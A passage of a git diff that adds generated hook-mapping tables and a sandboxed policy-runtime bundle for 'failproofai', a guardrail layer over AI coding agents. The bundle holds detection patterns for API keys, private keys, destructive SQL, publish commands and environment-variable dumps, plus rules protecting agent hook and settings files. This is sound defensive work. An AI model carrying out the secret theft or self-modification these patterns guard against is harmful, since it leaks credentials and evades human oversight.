], + "scopes_source": "COPILOT_HOOK_SCOPES", + "tool_input_map": { + "Edit": { + "new_str": "new_string", + "old_str": "old_string", + "path": "file_path" + }, + "Read": { + "path": "file_path" + }, + "Write": { + "file_text": "content", + "path": "file_path" + } + }, + "tool_input_map_source": "COPILOT_TOOL_INPUT_MAP", + "tool_map": { + "apply_patch": "Edit", + "bash": "Bash", + "create": "Write", + "edit": "Edit", + "glob": "Glob", + "grep": "Grep", + "list_bash": "Bash", + "list_powershell": "Bash", + "ls": "LS", + "powershell": "Bash", + "read": "Read", + "read_bash": "Bash", + "read_powershell": "Bash", + "rg": "Grep", + "show_file": "Read", + "stop_bash": "Bash", + "stop_powershell": "Bash", + "str_replace_editor": "Edit", + "view": "Read", + "web_fetch": "WebFetch", + "write": "Write", + "write_bash": "Bash", + "write_powershell": "Bash" + }, + "tool_map_source": "COPILOT_TOOL_MAP", + "unmapped_event_types": [ + "ErrorOccurred" + ] + }, + "cursor": { + "event_map": { + "beforeSubmitPrompt": "UserPromptSubmit", + "postToolUse": "PostToolUse", + "preToolUse": "PreToolUse", + "sessionEnd": "SessionEnd", + "sessionStart": "SessionStart", + "stop": "Stop", + "subagentStop": "SubagentStop" + }, + "event_names_are_canonical": false, + "event_types": [ + "beforeSubmitPrompt", + "postToolUse", + "preToolUse", + "sessionEnd", + "sessionStart", + "stop", + "subagentStop" + ], + "event_types_source": "CURSOR_HOOK_EVENT_TYPES", + "payload_normalizations": [ + { + "from": [ + "workspace_roots", + 0 + ], + "require_type": "non_empty_string", + "source": "src/hooks/resolve-cwd.ts", + "to": "cwd", + "when": "target_missing_or_empty" + } + ], + "reachable_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "CURSOR_HOOK_SCOPES", + "tool_input_map": {}, + "tool_input_map_source": null, + "tool_map": { + "Shell": "Bash" + }, + "tool_map_source": "CURSOR_TOOL_MAP", + "unmapped_event_types": [] + }, + "devin": { + "event_map": { + "PermissionRequest": "PermissionRequest", + "PostToolUse": "PostToolUse", + "PreToolUse": "PreToolUse", + "SessionEnd": "SessionEnd", + "SessionStart": "SessionStart", + "Stop": "Stop", + "UserPromptSubmit": "UserPromptSubmit" + }, + "event_names_are_canonical": true, + "event_types": [ + "PermissionRequest", + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "event_types_source": "DEVIN_HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "PermissionRequest", + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "DEVIN_HOOK_SCOPES", + "tool_input_map": {}, + "tool_input_map_source": null, + "tool_map": { + "exec": "Bash" + }, + "tool_map_source": "DEVIN_TOOL_MAP", + "unmapped_event_types": [] + }, + "factory": { + "event_map": { + "Notification": "Notification", + "PostToolUse": "PostToolUse", + "PreCompact": "PreCompact", + "PreToolUse": "PreToolUse", + "SessionEnd": "SessionEnd", + "SessionStart": "SessionStart", + "Stop": "Stop", + "SubagentStop": "SubagentStop", + "UserPromptSubmit": "UserPromptSubmit" + }, + "event_names_are_canonical": true, + "event_types": [ + "Notification", + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "event_types_source": "FACTORY_HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "Notification", + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "FACTORY_HOOK_SCOPES", + "tool_input_map": {}, + "tool_input_map_source": null, + "tool_map": { + "Create": "Write", + "Edit": "Edit", + "Execute": "Bash", + "FetchUrl": "WebFetch", + "Glob": "Glob", + "Grep": "Grep", + "LS": "LS", + "Read": "Read", + "Task": "Task", + "TodoWrite": "TodoWrite", + "WebSearch": "WebSearch" + }, + "tool_map_source": "FACTORY_TOOL_MAP", + "unmapped_event_types": [] + }, + "goose": { + "event_map": { + "PostToolUse": "PostToolUse", + "PreToolUse": "PreToolUse", + "SessionEnd": "SessionEnd", + "SessionStart": "SessionStart", + "UserPromptSubmit": "UserPromptSubmit" + }, + "event_names_are_canonical": true, + "event_types": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "UserPromptSubmit" + ], + "event_types_source": "GOOSE_HOOK_EVENT_TYPES", + "payload_normalizations": [ + { + "from": [ + "working_dir" + ], + "require_type": "string", + "source": "src/hooks/handler.ts", + "to": "cwd", + "when": "always" + }, + { + "from": [ + "event" + ], + "require_type": "string", + "source": "src/hooks/handler.ts", + "to": "hook_event_name", + "when": "target_undefined" + } + ], + "reachable_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "GOOSE_HOOK_SCOPES", + "tool_input_map": { + "Edit": { + "path": "file_path" + }, + "LS": { + "path": "file_path" + }, + "Read": { + "path": "file_path", + "source": "file_path" + }, + "Write": { + "path": "file_path" + } + }, + "tool_input_map_source": "GOOSE_TOOL_INPUT_MAP", + "tool_map": { + "delegate": "Task", + "edit": "Edit", + "glob": "Glob", + "grep": "Grep", + "read_image": "Read", + "shell": "Bash", + "todo__todo_write": "TodoWrite", + "tree": "LS", + "view": "Read", + "write": "Write" + }, + "tool_map_source": "GOOSE_TOOL_MAP", + "unmapped_event_types": [] + }, + "hermes": { + "event_map": { + "on_session_end": "SessionEnd", + "on_session_start": "SessionStart", + "post_tool_call": "PostToolUse", + "pre_tool_call": "PreToolUse", + "subagent_stop": "SubagentStop" + }, + "event_names_are_canonical": false, + "event_types": [ + "on_session_end", + "on_session_start", + "post_tool_call", + "pre_tool_call", + "subagent_stop" + ], + "event_types_source": "HERMES_HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "SubagentStop" + ], + "scopes": [ + "user" + ], + "scopes_source": "HERMES_HOOK_SCOPES", + "tool_input_map": { + "Edit": { + "path": "file_path" + }, + "Read": { + "path": "file_path" + }, + "Write": { + "path": "file_path" + } + }, + "tool_input_map_source": "HERMES_TOOL_INPUT_MAP", + "tool_map": { + "bash": "Bash", + "patch": "Edit", + "read_file": "Read", + "search_files": "Grep", + "terminal": "Bash", + "todo": "TodoWrite", + "web_extract": "WebFetch", + "web_search": "WebSearch", + "write_file": "Write" + }, + "tool_map_source": "HERMES_TOOL_MAP", + "unmapped_event_types": [] + }, + "openclaw": { + "event_map": { + "after_tool_call": "PostToolUse", + "before_agent_finalize": "Stop", + "before_agent_run": "UserPromptSubmit", + "before_compaction": "PreCompact", + "before_tool_call": "PreToolUse", + "session_end": "SessionEnd", + "session_start": "SessionStart", + "subagent_ended": "SubagentStop" + }, + "event_names_are_canonical": false, + "event_types": [ + "after_tool_call", + "before_agent_finalize", + "before_agent_run", + "before_compaction", + "before_tool_call", + "session_end", + "session_start", + "subagent_ended" + ], + "event_types_source": "OPENCLAW_HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "PostToolUse", + "PreCompact", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "SubagentStop", + "UserPromptSubmit" + ], + "scopes": [ + "user" + ], + "scopes_source": "OPENCLAW_HOOK_SCOPES", + "tool_input_map": { + "Edit": { + "path": "file_path" + }, + "Read": { + "path": "file_path" + }, + "Write": { + "path": "file_path" + } + }, + "tool_input_map_source": "OPENCLAW_TOOL_INPUT_MAP", + "tool_map": { + "edit": "Edit", + "exec": "Bash", + "glob": "Glob", + "grep": "Grep", + "read": "Read", + "web_fetch": "WebFetch", + "web_search": "WebSearch", + "write": "Write" + }, + "tool_map_source": "OPENCLAW_TOOL_MAP", + "unmapped_event_types": [] + }, + "opencode": { + "event_map": { + "message.updated": "UserPromptSubmit", + "permission.ask": "PermissionRequest", + "session.created": "SessionStart", + "session.deleted": "SessionEnd", + "session.idle": "Stop", + "tool.execute.after": "PostToolUse", + "tool.execute.before": "PreToolUse" + }, + "event_names_are_canonical": false, + "event_types": [ + "message.updated", + "permission.ask", + "session.created", + "session.deleted", + "session.idle", + "tool.execute.after", + "tool.execute.before" + ], + "event_types_source": "OPENCODE_HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "PermissionRequest", + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "OPENCODE_HOOK_SCOPES", + "tool_input_map": { + "Edit": { + "filePath": "file_path", + "newString": "new_string", + "oldString": "old_string", + "replaceAll": "replace_all" + }, + "Read": { + "filePath": "file_path" + }, + "Write": { + "filePath": "file_path" + } + }, + "tool_input_map_source": "OPENCODE_TOOL_INPUT_MAP", + "tool_map": { + "apply_patch": "Edit", + "bash": "Bash", + "edit": "Edit", + "glob": "Glob", + "grep": "Grep", + "list": "LS", + "read": "Read", + "todoread": "TodoRead", + "todowrite": "TodoWrite", + "webfetch": "WebFetch", + "websearch": "WebSearch", + "write": "Write" + }, + "tool_map_source": "OPENCODE_TOOL_MAP", + "unmapped_event_types": [] + }, + "pi": { + "event_map": { + "agent_end": "Stop", + "input": "UserPromptSubmit", + "session_shutdown": "SessionEnd", + "session_start": "SessionStart", + "tool_call": "PreToolUse", + "tool_result": "PostToolUse", + "user_bash": "PreToolUse" + }, + "event_names_are_canonical": false, + "event_types": [ + "agent_end", + "input", + "session_shutdown", + "session_start", + "tool_call", + "tool_result", + "user_bash" + ], + "event_types_source": "PI_HOOK_EVENT_TYPES", + "payload_normalizations": [], + "reachable_canonical_events": [ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "Stop", + "UserPromptSubmit" + ], + "scopes": [ + "project", + "user" + ], + "scopes_source": "PI_HOOK_SCOPES", + "tool_input_map": { + "Edit": { + "path": "file_path" + }, + "Read": { + "path": "file_path" + }, + "Write": { + "path": "file_path" + } + }, + "tool_input_map_source": "PI_TOOL_INPUT_MAP", + "tool_map": { + "bash": "Bash", + "edit": "Edit", + "glob": "Glob", + "grep": "Grep", + "read": "Read", + "write": "Write" + }, + "tool_map_source": "PI_TOOL_MAP", + "unmapped_event_types": [] + } + }, + "description": "Per-CLI canonicalization tables for the failproofai hook pipeline. Consumed by the Rust fpai-canon crate. src/hooks/types.ts is the single source of truth; do not hand-edit.", + "generated_by": "scripts/gen-canon-tables.ts", + "generated_from": "src/hooks/types.ts", + "payload_normalization_vocabulary": { + "require_type": [ + "defined", + "non_empty_string", + "string" + ], + "when": [ + "always", + "target_missing_or_empty", + "target_undefined" + ] + }, + "pipeline": [ + "payload_normalizations", + "event_map", + "tool_map", + "tool_input_map" + ], + "regenerate_with": "bun scripts/gen-canon-tables.ts", + "schema_version": 1 +} diff --git a/crates/generated/enforcement-capability.json b/crates/generated/enforcement-capability.json new file mode 100644 index 00000000..7b7bb555 --- /dev/null +++ b/crates/generated/enforcement-capability.json @@ -0,0 +1,197 @@ +{ + "absent_means": "NOT VERIFIED. Never assume \"block\" — a hedge rendered in a UI is still a claim, and an unverified claim is what the source file exists to prevent.", + "clis": { + "antigravity": { + "capabilities": { + "PostToolUse": "observe", + "PreToolUse": "block", + "Stop": "block", + "UserPromptSubmit": "observe" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "claude": { + "capabilities": { + "ConfigChange": "block", + "CwdChanged": "observe", + "Elicitation": "block", + "ElicitationResult": "block", + "FileChanged": "observe", + "InstructionsLoaded": "observe", + "Notification": "observe", + "PermissionDenied": "observe", + "PermissionRequest": "block", + "PostCompact": "observe", + "PostToolBatch": "block", + "PostToolUse": "observe", + "PostToolUseFailure": "observe", + "PreCompact": "block", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "Setup": "observe", + "Stop": "block", + "StopFailure": "observe", + "SubagentStart": "observe", + "SubagentStop": "block", + "TaskCompleted": "block", + "TaskCreated": "block", + "TeammateIdle": "block", + "UserPromptExpansion": "block", + "UserPromptSubmit": "block", + "WorktreeRemove": "observe" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [ + "WorktreeCreate" + ] + }, + "codex": { + "capabilities": { + "PermissionRequest": "block", + "PostCompact": "observe", + "PostToolUse": "observe", + "PreCompact": "observe", + "PreToolUse": "block", + "SessionStart": "observe", + "Stop": "block", + "SubagentStart": "observe", + "SubagentStop": "block", + "UserPromptSubmit": "block" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "copilot": { + "capabilities": { + "Notification": "observe", + "PermissionRequest": "block", + "PostToolUse": "observe", + "PostToolUseFailure": "observe", + "PreCompact": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "Stop": "block", + "SubagentStop": "block", + "UserPromptSubmit": "block" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "cursor": { + "capabilities": { + "PostToolUse": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "Stop": "block", + "UserPromptSubmit": "block" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [ + "SubagentStop" + ] + }, + "devin": { + "capabilities": { + "PermissionRequest": "block", + "PostToolUse": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "Stop": "block", + "UserPromptSubmit": "block" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "factory": { + "capabilities": { + "Notification": "observe", + "PostToolUse": "observe", + "PreCompact": "block", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "Stop": "block", + "SubagentStop": "observe", + "UserPromptSubmit": "block" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "goose": { + "capabilities": { + "PostToolUse": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "UserPromptSubmit": "observe" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "hermes": { + "capabilities": { + "PostToolUse": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "SubagentStop": "observe" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "openclaw": { + "capabilities": { + "PostToolUse": "observe", + "PreCompact": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "Stop": "block", + "SubagentStop": "observe", + "UserPromptSubmit": "block" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + }, + "opencode": { + "capabilities": { + "PermissionRequest": "observe", + "PostToolUse": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "UserPromptSubmit": "observe" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [ + "Stop" + ] + }, + "pi": { + "capabilities": { + "PostToolUse": "observe", + "PreToolUse": "block", + "SessionEnd": "observe", + "SessionStart": "observe", + "Stop": "observe", + "UserPromptSubmit": "block" + }, + "capabilities_outside_reachable_events": [], + "unverified_events": [] + } + }, + "description": "Does a policy DENY on this (cli, canonical event) pair actually change the agent's behaviour, given the wire shape failproofai emits today? Consumed by the Rust adapter descriptor, which is asserted against this table. src/hooks/enforcement-capability.ts is the single source of truth; do not hand-edit.", + "generated_by": "scripts/gen-canon-tables.ts", + "generated_from": "src/hooks/enforcement-capability.ts", + "labels": [ + "block", + "observe" + ], + "regenerate_with": "bun scripts/gen-canon-tables.ts", + "schema_version": 1 +} diff --git a/crates/generated/sealed-worker.js b/crates/generated/sealed-worker.js new file mode 100644 index 00000000..a315a929 --- /dev/null +++ b/crates/generated/sealed-worker.js @@ -0,0 +1,2849 @@ +// GENERATED — do not edit. Built from src/policy-runtime/sealed-entry.ts +// by scripts/build-sealed-bundle.ts. Regenerate: bun scripts/build-sealed-bundle.ts +// --- sealed prelude (see scripts/build-sealed-bundle.ts) --- +var process = Object.freeze({ env: Object.freeze(Object.create(null)) }); +// --- end sealed prelude --- +(() => { + var __defProp = Object.defineProperty; + var __getOwnPropNames = Object.getOwnPropertyNames; + var __getOwnPropDesc = Object.getOwnPropertyDescriptor; + var __hasOwnProp = Object.prototype.hasOwnProperty; + function __accessProp(key) { + return this[key]; + } + var __toCommonJS = (from) => { + var entry = (__moduleCache ??= new WeakMap).get(from), desc; + if (entry) + return entry; + entry = __defProp({}, "__esModule", { value: true }); + if (from && typeof from === "object" || typeof from === "function") { + for (var key of __getOwnPropNames(from)) + if (!__hasOwnProp.call(entry, key)) + __defProp(entry, key, { + get: __accessProp.bind(from, key), + enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable + }); + } + __moduleCache.set(from, entry); + return entry; + }; + var __moduleCache; + var __returnValue = (v) => v; + function __exportSetter(name, newValue) { + this[name] = __returnValue.bind(null, newValue); + } + var __export = (target, all) => { + for (var name in all) + __defProp(target, name, { + get: all[name], + enumerable: true, + configurable: true, + set: __exportSetter.bind(all, name) + }); + }; + + // src/policy-runtime/sealed-entry.ts + var exports_sealed_entry = {}; + __export(exports_sealed_entry, { + sealedPolicyNames: () => sealedPolicyNames, + installSealedGlobals: () => installSealedGlobals, + evaluate: () => evaluate + }); + + // src/hooks/policy-registry.ts + var REGISTRY_KEY = "__FAILPROOFAI_POLICY_REGISTRY__"; + var INDEX_CACHE_KEY = "__FAILPROOFAI_POLICY_INDEX_CACHE__"; + var DEFAULT_POLICY_NAMESPACE = "failproofai"; + function normalizePolicyName(name) { + return name.includes("/") ? name : `${DEFAULT_POLICY_NAMESPACE}/${name}`; + } + function getIndexCache() { + return globalThis[INDEX_CACHE_KEY]; + } + function setIndexCache(cache) { + globalThis[INDEX_CACHE_KEY] = cache; + } + function getRegistry() { + const g = globalThis; + if (!g[REGISTRY_KEY]) { + g[REGISTRY_KEY] = []; + } + return g[REGISTRY_KEY]; + } + function registerPolicy(name, description, fn, match, priority = 0) { + const canonical = normalizePolicyName(name); + const registry = getRegistry(); + const idx = registry.findIndex((p) => p.name === canonical); + const entry = { name: canonical, description, fn, match, priority }; + if (idx >= 0) { + registry[idx] = entry; + } else { + registry.push(entry); + } + setIndexCache(null); + } + function getPoliciesForEvent(eventType, toolName) { + let cache = getIndexCache(); + if (!cache) { + cache = new Map; + setIndexCache(cache); + } + const key = `${eventType}:${toolName ?? ""}`; + const cached = cache.get(key); + if (cached) + return cached; + const result = getRegistry().filter((p) => { + if (p.match.events && p.match.events.length > 0) { + if (!p.match.events.includes(eventType)) + return false; + } + if (p.match.toolNames && p.match.toolNames.length > 0) { + if (!toolName || !p.match.toolNames.includes(toolName)) + return false; + } + return true; + }).sort((a, b) => b.priority - a.priority); + cache.set(key, result); + return result; + } + function clearPolicies() { + const g = globalThis; + g[REGISTRY_KEY] = []; + setIndexCache(null); + } + + // src/policy-runtime/host-stubs.ts + class SealedCapabilityError extends Error { + capability; + constructor(capability) { + super(`failproofai sealed tier: '${capability}' is not available. ` + `The sealed execution tier has no filesystem, subprocess, or network access. ` + `A policy needing one of those is routed to the user-context tier at admission; ` + `reaching this error means something bypassed that routing.`); + this.name = "SealedCapabilityError"; + this.capability = capability; + } + } + function forbid(capability) { + return () => { + throw new SealedCapabilityError(capability); + }; + } + var homedir = forbid("os.homedir"); + var tmpdir = forbid("os.tmpdir"); + var userInfo = forbid("os.userInfo"); + var hostname = forbid("os.hostname"); + var platform = forbid("os.platform"); + var execSync = forbid("child_process.execSync"); + var execFileSync = forbid("child_process.execFileSync"); + var exec = forbid("child_process.exec"); + var execFile = forbid("child_process.execFile"); + var spawn = forbid("child_process.spawn"); + var spawnSync = forbid("child_process.spawnSync"); + var readFile = forbid("fs.readFile"); + var writeFile = forbid("fs.writeFile"); + var readFileSync = forbid("fs.readFileSync"); + var writeFileSync = forbid("fs.writeFileSync"); + var appendFileSync = forbid("fs.appendFileSync"); + var renameSync = forbid("fs.renameSync"); + var mkdirSync = forbid("fs.mkdirSync"); + var existsSync = forbid("fs.existsSync"); + var statSync = forbid("fs.statSync"); + var stat = forbid("fs.stat"); + var open = forbid("fs.open"); + var openSync = forbid("fs.openSync"); + var readSync = forbid("fs.readSync"); + var closeSync = forbid("fs.closeSync"); + var readdirSync = forbid("fs.readdirSync"); + var unlinkSync = forbid("fs.unlinkSync"); + var rmSync = forbid("fs.rmSync"); + + // src/policy-runtime/runtime-stubs.ts + function hookLogInfo(_msg) {} + function hookLogWarn(_msg) {} + async function trackHookEvent(_distinctId, _event, _properties) {} + function getInstanceId() { + return "sealed-worker"; + } + + // src/hooks/builtin/warn.ts + var noop = () => {}; + var sink = noop; + function setPolicyWarnSink(fn) { + sink = fn; + } + function policyWarn(message) { + sink(message); + } + + // src/hooks/builtin/host-context.ts + var inertFallback = { + home: () => "", + projectDir: () => { + return; + } + }; + var fallback = inertFallback; + function setHostContextFallback(next) { + fallback = next; + } + function resolveHome(ctx) { + const fromRequest = ctx.session?.home; + if (typeof fromRequest === "string" && fromRequest !== "") + return fromRequest; + return fallback.home(); + } + function resolveProjectDir(ctx) { + const fromRequest = ctx.session?.projectDir; + if (fromRequest) + return fromRequest; + return fallback.projectDir() || undefined; + } + + // src/policy-runtime/pure-path.ts + var SEALED_CWD = "/"; + function normalizeString(path, allowAboveRoot) { + let res = ""; + let lastSegmentLength = 0; + let lastSlash = -1; + let dots = 0; + let code = 0; + for (let i = 0;i <= path.length; ++i) { + if (i < path.length) { + code = path.charCodeAt(i); + } else if (code === 47) { + break; + } else { + code = 47; + } + if (code === 47) { + if (lastSlash === i - 1 || dots === 1) {} else if (dots === 2) { + if (res.length < 2 || lastSegmentLength !== 2 || res.charCodeAt(res.length - 1) !== 46 || res.charCodeAt(res.length - 2) !== 46) { + if (res.length > 2) { + const lastSlashIndex = res.lastIndexOf("/"); + if (lastSlashIndex === -1) { + res = ""; + lastSegmentLength = 0; + } else { + res = res.slice(0, lastSlashIndex); + lastSegmentLength = res.length - 1 - res.lastIndexOf("/"); + } + lastSlash = i; + dots = 0; + continue; + } else if (res.length !== 0) { + res = ""; + lastSegmentLength = 0; + lastSlash = i; + dots = 0; + continue; + } + } + if (allowAboveRoot) { + res += res.length > 0 ? "/.." : ".."; + lastSegmentLength = 2; + } + } else { + if (res.length > 0) { + res += `/${path.slice(lastSlash + 1, i)}`; + } else { + res = path.slice(lastSlash + 1, i); + } + lastSegmentLength = i - lastSlash - 1; + } + lastSlash = i; + dots = 0; + } else if (code === 46 && dots !== -1) { + ++dots; + } else { + dots = -1; + } + } + return res; + } + function resolve(...args) { + let resolvedPath = ""; + let resolvedAbsolute = false; + for (let i = args.length - 1;i >= 0 && !resolvedAbsolute; i--) { + const path = args[i]; + if (typeof path !== "string") { + throw new TypeError(`Path must be a string. Received ${JSON.stringify(path)}`); + } + if (path.length === 0) + continue; + resolvedPath = `${path}/${resolvedPath}`; + resolvedAbsolute = path.charCodeAt(0) === 47; + } + if (!resolvedAbsolute) { + resolvedPath = `${SEALED_CWD}/${resolvedPath}`; + } + resolvedPath = normalizeString(resolvedPath, false); + return resolvedPath.length > 0 ? `/${resolvedPath}` : "/"; + } + function join(...args) { + if (args.length === 0) + return "."; + let joined; + for (let i = 0;i < args.length; ++i) { + const arg = args[i]; + if (typeof arg !== "string") { + throw new TypeError(`Path must be a string. Received ${JSON.stringify(arg)}`); + } + if (arg.length > 0) { + if (joined === undefined) + joined = arg; + else + joined += `/${arg}`; + } + } + if (joined === undefined) + return "."; + return normalize(joined); + } + function normalize(path) { + if (path.length === 0) + return "."; + const isAbsolute = path.charCodeAt(0) === 47; + const trailingSeparator = path.charCodeAt(path.length - 1) === 47; + let normalized = normalizeString(path, !isAbsolute); + if (normalized.length === 0) { + if (isAbsolute) + return "/"; + return trailingSeparator ? "./" : "."; + } + if (trailingSeparator) + normalized += "/"; + return isAbsolute ? `/${normalized}` : normalized; + } + + // src/hooks/policy-helpers.ts + function allow(reason) { + return reason ? { decision: "allow", reason } : { decision: "allow" }; + } + function deny(reason) { + return { decision: "deny", reason }; + } + function instruct(reason) { + return { decision: "instruct", reason }; + } + + // src/hooks/builtin/shared.ts + function getCommand(ctx) { + return ctx.toolInput?.command ?? ""; + } + function getFilePath(ctx) { + return ctx.toolInput?.file_path ?? ""; + } + function parseArgvTokens(cmd) { + return cmd.trim().split(/\s+/).map((t) => t.replace(/^['"]|['"]$/g, "")); + } + var SHELL_OPERATORS = new Set(["&&", "||", "|", ";"]); + var SHELL_METACHAR_RE = /[;&<>`$()\\]/; + function matchesAllowedPattern(cmd, pattern) { + const cmdTokens = parseArgvTokens(cmd); + const patTokens = parseArgvTokens(pattern); + if (cmdTokens.length < patTokens.length) + return false; + if (cmdTokens.some((tok) => SHELL_OPERATORS.has(tok))) + return false; + if (cmdTokens.some((tok) => SHELL_METACHAR_RE.test(tok))) + return false; + return patTokens.every((tok, i) => tok === "*" || tok === cmdTokens[i]); + } + function shellSegments(cmd) { + return cmd.split(/&&|\|\||[|;\n]/).map((s) => s.trim()).filter((s) => s !== ""); + } + + // src/hooks/builtin/payload-only.ts + function isAgentInternalPath(resolved, home) { + const normResolved = resolved.replaceAll("\\", "/"); + for (const dir of [".claude", ".codex", ".copilot", ".cursor", ".opencode", ".pi", ".gemini"]) { + const root = join(home, dir).replaceAll("\\", "/"); + if (normResolved === root || normResolved.startsWith(root + "/")) + return true; + } + for (const sub of [join(".config", "opencode"), join(".local", "share", "opencode")]) { + const root = join(home, sub).replaceAll("\\", "/"); + if (normResolved === root || normResolved.startsWith(root + "/")) + return true; + } + return false; + } + function isAgentSettingsFile(resolved) { + if (/[\\/]\.claude[\\/]settings(?:\.[^/\\]+)?\.json$/.test(resolved)) + return true; + if (/[\\/]\.codex[\\/]hooks\.json$/.test(resolved)) + return true; + if (/[\\/]\.copilot[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) + return true; + if (/[\\/]\.github[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) + return true; + if (/[\\/]\.cursor[\\/]hooks\.json$/.test(resolved)) + return true; + if (/[\\/]\.opencode[\\/]opencode\.jsonc?$/.test(resolved)) + return true; + if (/[\\/]\.opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) + return true; + if (/[\\/]\.config[\\/]opencode[\\/]opencode\.jsonc?$/.test(resolved)) + return true; + if (/[\\/]\.config[\\/]opencode[\\/]config\.json$/.test(resolved)) + return true; + if (/[\\/]\.config[\\/]opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) + return true; + if (/[\\/]\.pi[\\/](?:agent[\\/])?settings\.json$/.test(resolved)) + return true; + if (/[\\/]\.pi[\\/](?:agent[\\/])?extensions[\\/]/.test(resolved)) + return true; + if (/[\\/]\.gemini[\\/]settings\.json$/.test(resolved)) + return true; + if (/[\\/]\.gemini[\\/]config[\\/]hooks\.json$/.test(resolved)) + return true; + return false; + } + var isClaudeInternalPath = isAgentInternalPath; + var isClaudeSettingsFile = isAgentSettingsFile; + var JWT_RE = /eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/; + var API_KEY_PATTERNS = [ + [/sk-ant-[A-Za-z0-9\-_]{20,}/, "Anthropic API key"], + [/sk-proj-[A-Za-z0-9\-_]{20,}/, "OpenAI project API key"], + [/sk-[A-Za-z0-9]{20,}/, "OpenAI API key"], + [/ghp_[A-Za-z0-9]{36}/, "GitHub personal access token"], + [/github_pat_[A-Za-z0-9_]{82}/, "GitHub fine-grained token"], + [/AKIA[A-Z0-9]{16}/, "AWS access key ID"], + [/sk_live_[A-Za-z0-9]{24,}/, "Stripe live secret key"], + [/sk_test_[A-Za-z0-9]{24,}/, "Stripe test secret key"], + [/AIza[0-9A-Za-z\-_]{35}/, "Google API key"] + ]; + var CONNECTION_STRING_RE = /(?:postgresql|postgres|mysql|mongodb(?:\+srv)?|redis|amqps?|smtps?):\/\/[^@\s]+@/; + var PRIVATE_KEY_RE = /-----BEGIN (?:[A-Z]+ )?PRIVATE KEY-----/; + var BEARER_TOKEN_RE = /Authorization:\s*Bearer\s+[A-Za-z0-9\-._~+/]{20,}/i; + var SQL_TOOL_RE = /\b(?:psql|mysql|sqlite3|pgcli|clickhouse-client)\b/; + var DESTRUCTIVE_SQL_RE = /\b(?:DROP\s+(?:TABLE|DATABASE|SCHEMA)|TRUNCATE\b)/i; + var DELETE_NO_WHERE_RE = /\bDELETE\s+FROM\b/i; + var SQL_WHERE_RE = /\bWHERE\b/i; + var SCHEMA_ALTER_RE = /\bALTER\s+TABLE\b[\s\S]*\b(?:DROP\s+COLUMN|ADD\s+COLUMN|RENAME\s+(?:COLUMN|TO)|MODIFY\s+COLUMN)\b/i; + var PUBLISH_CMD_RE = /(?:npm\s+publish|bun\s+publish|pnpm\s+publish|yarn\s+npm\s+publish|twine\s+upload|poetry\s+publish|cargo\s+publish|gem\s+push)\b/; + var ENV_PRINTENV_RE = /(?:^|\s|;|&&|\|\|)(?:env|printenv)(?:\s|$|;|&&|\|)/; + var ECHO_ENV_RE = /echo\s+.*\$\{?[A-Za-z_]/; + var EXPORT_RE = /(?:^|\s|;|&&|\|\|)export\s+\w+/; + var PS_ENV_VAR_RE = /\$env:[A-Za-z_]/i; + var PS_CHILDITEM_ENV_RE = /(?:Get-ChildItem|dir|gci|ls)\s+Env:/i; + var DOTNET_GETENV_RE = 